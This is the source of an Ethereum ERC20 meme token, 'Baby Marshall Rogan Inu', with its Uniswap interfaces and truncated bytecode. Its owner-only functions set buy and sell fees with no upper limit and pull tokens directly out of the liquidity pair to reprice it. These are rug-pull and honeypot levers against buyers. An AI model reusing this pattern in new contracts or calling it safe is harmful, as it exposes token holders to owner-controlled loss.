{ unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract BabyMarshallRoganInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Baby Marshall Rogan Inu", "BMRI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 3; uint256 _sellDevFee = 2; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x614Bc780941A5807C16e9890b13DAE965A169cf0); // set as marketing wallet devWallet = address(0x621116b2010903d4F65907B7746703D85347aEf1); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610b24578063f637434214610b44578063f8b45b0514610b5a578063fe72b27a14610b7057600080fd5b8063dd62ed3e14610a90578063e2f4560514610ae3578063e884f26014610af9578063f11a24d314610b0e57600080fd5b8063c876d0b9116100dc578063c876d0b914610a2a578063c8c8ebe414610a44578063d257b34f14610a5a578063d85ba06314610a7a57600080fd5b8063bbc0c742146109ab578063c0246668146109ca578063c17b5b8c146109ea578063c18bc19514610a0a57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a0014610925578063a9059cbb1461093b578063aacebbe31461095b578063b62496f51461097b57600080fd5b80639ec22c0e146108c35780639fccce32146108d9578063a0d82dc5146108ef578063a457c2d71461090557600080fd5b8063924de9b7116101c1578063924de9b71461085857806395d89b41146108785780639a7a23d61461088d5780639c3b4fdc146108ad57600080fd5b80638da5cb5b146107ea5780638ea5220f14610815578063921369131461084257600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a874146107725780637bce5a041461079f5780638095d564146107b55780638a8c523c146107d557600080fd5b8063715018a614610708578063730c18881461071d578063751039fc1461073d5780637571336a1461075257600080fd5b80634fbee193116102a65780634fbee193146106495780636a486a8e1461068f5780636ddd1713146106a557806370a08231146106c557600080fd5b8063313ce567146105bf57806339509351146105db57806349bd5a5e146105fb5780634a62bb651461062f57600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461055957806327c8f835146105795780632c3e486c1461058f5780632e82f1a0146105a557600080fd5b8063199ffc72146104f75780631a8145bb1461050d5780631f3fed8f14610523578063203e727e1461053957600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104a05780631816467f146104bf578063184c16c5146104e157600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b90565b6040516103df9190613cf7565b60405180910390f35b3480156103f457600080fd5b50610408610403366004613d8c565b610c22565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004613db8565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016103df565b3480156104ac57600080fd5b506002545b6040519081526020016103df565b3480156104cb57600080fd5b506104df6104da366004613db8565b610c38565b005b3480156104ed57600080fd5b506104b1600f5481565b34801561050357600080fd5b506104b1600b5481565b34801561051957600080fd5b506104b1601d5481565b34801561052f57600080fd5b506104b1601c5481565b34801561054557600080fd5b506104df610554366004613dd5565b610d4d565b34801561056557600080fd5b50610408610574366004613dee565b610ea9565b34801561058557600080fd5b5061047b61dead81565b34801561059b57600080fd5b506104b1600d5481565b3480156105b157600080fd5b50600c546104089060ff1681565b3480156105cb57600080fd5b50604051601281526020016103df565b3480156105e757600080fd5b506104086105f6366004613d8c565b610f8f565b34801561060757600080fd5b5061047b7f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8281565b34801561063b57600080fd5b506011546104089060ff1681565b34801561065557600080fd5b50610408610664366004613db8565b73ffffffffffffffffffffffffffffffffffffffff166000908152601f602052604090205460ff1690565b34801561069b57600080fd5b506104b160185481565b3480156106b157600080fd5b506011546104089062010000900460ff1681565b3480156106d157600080fd5b506104b16106e0366004613db8565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b34801561071457600080fd5b506104df610fd8565b34801561072957600080fd5b506104df610738366004613e3f565b611065565b34801561074957600080fd5b5061040861124e565b34801561075e57600080fd5b506104df61076d366004613e74565b611300565b34801561077e57600080fd5b5060065461047b9073ffffffffffffffffffffffffffffffffffffffff1681565b3480156107ab57600080fd5b506104b160155481565b3480156107c157600080fd5b506104df6107d0366004613ea9565b6113d6565b3480156107e157600080fd5b506104df611483565b3480156107f657600080fd5b5060055473ffffffffffffffffffffffffffffffffffffffff1661047b565b34801561082157600080fd5b5060075461047b9073ffffffffffffffffffffffffffffffffffffffff1681565b34801561084e57600080fd5b506104b160195481565b34801561086457600080fd5b506104df610873366004613ed5565b611537565b34801561088457600080fd5b506103d26115f0565b34801561089957600080fd5b506104df6108a8366004613e74565b6115ff565b3480156108b957600080fd5b506104b160175481565b3480156108cf57600080fd5b506104b160105481565b3480156108e557600080fd5b506104b1601e5481565b3480156108fb57600080fd5b506104b1601b5481565b34801561091157600080fd5b50610408610920366004613d8c565b61176a565b34801561093157600080fd5b506104b1600e5481565b34801561094757600080fd5b50610408610956366004613d8c565b611842565b34801561096757600080fd5b506104df610976366004613db8565b61184f565b34801561098757600080fd5b50610408610996366004613db8565b60216020526000908152604090205460ff1681565b3480156109b757600080fd5b5060115461040890610100900460ff1681565b3480156109d657600080fd5b506104df6109e5366004613e74565b61195f565b3480156109f657600080fd5b506104df610a05366004613ea9565b611a6a565b348015610a1657600080fd5b506104df610a25366004613dd5565b611b17565b348015610a3657600080fd5b506013546104089060ff1681565b348015610a5057600080fd5b506104b160085481565b348015610a6657600080fd5b50610408610a75366004613dd5565b611c72565b348015610a8657600080fd5b506104b160145481565b348015610a9c57600080fd5b506104b1610aab366004613ef0565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b348015610aef57600080fd5b506104b160095481565b348015610b0557600080fd5b50610408611e65565b348015610b1a57600080fd5b506104b160165481565b348015610b3057600080fd5b506104df610b3f366004613db8565b611f17565b348015610b5057600080fd5b506104b1601a5481565b348015610b6657600080fd5b506104b1600a5481565b348015610b7c57600080fd5b50610408610b8b366004613dd5565b612047565b606060038054610b9f90613f29565b80601f0160208091040260200160405190810160405280929190818152602001828054610bcb90613f29565b8015610c185780601f10610bed57610100808354040283529160200191610c18565b820191906000526020600020905b815481529060010190602001808311610bfb57829003601f168201915b5050505050905090565b6000610c2f338484612392565b50600192915050565b60055473ffffffffffffffffffffffffffffffffffffffff163314610cbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60075460405173ffffffffffffffffffffffffffffffffffffffff918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff163314610dce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b670de0b6b3a76400006103e8610de360025490565b610dee906001613fac565b610df89190613fe9565b610e029190613fe9565b811015610e91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201527f6c6f776572207468616e20302e312500000000000000000000000000000000006064820152608401610cb5565b610ea381670de0b6b3a7640000613fac565b60085550565b6000610eb6848484612545565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260016020908152604080832033845290915290205482811015610f77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63650000000000000000000000000000000000000000000000006064820152608401610cb5565b610f848533858403612392565b506001949350505050565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610c2f918590610fd3908690614024565b612392565b60055473ffffffffffffffffffffffffffffffffffffffff163314611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b61106360006131dd565b565b60055473ffffffffffffffffffffffffffffffffffffffff1633146110e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b610258831015611178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860448201527f616e206576657279203130206d696e75746573000000000000000000000000006064820152608401610cb5565b6103e88211158015611188575060015b611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201527f747765656e20302520616e6420313025000000000000000000000000000000006064820152608401610cb5565b600d92909255600b55600c80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60055460009073ffffffffffffffffffffffffffffffffffffffff1633146112d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b50601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055600190565b60055473ffffffffffffffffffffffffffffffffffffffff163314611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b73ffffffffffffffffffffffffffffffffffffffff919091166000908152602080526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff163314611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b601583905560168290556017819055806114718385614024565b61147b9190614024565b601455505050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff166201010017905542600e55565b60055473ffffffffffffffffffffffffffffffffffffffff1633146115b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b6011805491151562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff909216919091179055565b606060048054610b9f90613f29565b60055473ffffffffffffffffffffffffffffffffffffffff163314611680576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b7f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610cb5565b6117668282613254565b5050565b33600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff861684529091528120548281101561182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610cb5565b6118383385858403612392565b5060019392505050565b6000610c2f338484612545565b60055473ffffffffffffffffffffffffffffffffffffffff1633146118d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b60065460405173ffffffffffffffffffffffffffffffffffffffff918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff1633146119e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b73ffffffffffffffffffffffffffffffffffffffff82166000818152601f602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611aeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b6019839055601a829055601b81905580611b058385614024565b611b0f9190614024565b601855505050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611b98576040517f08c379a000000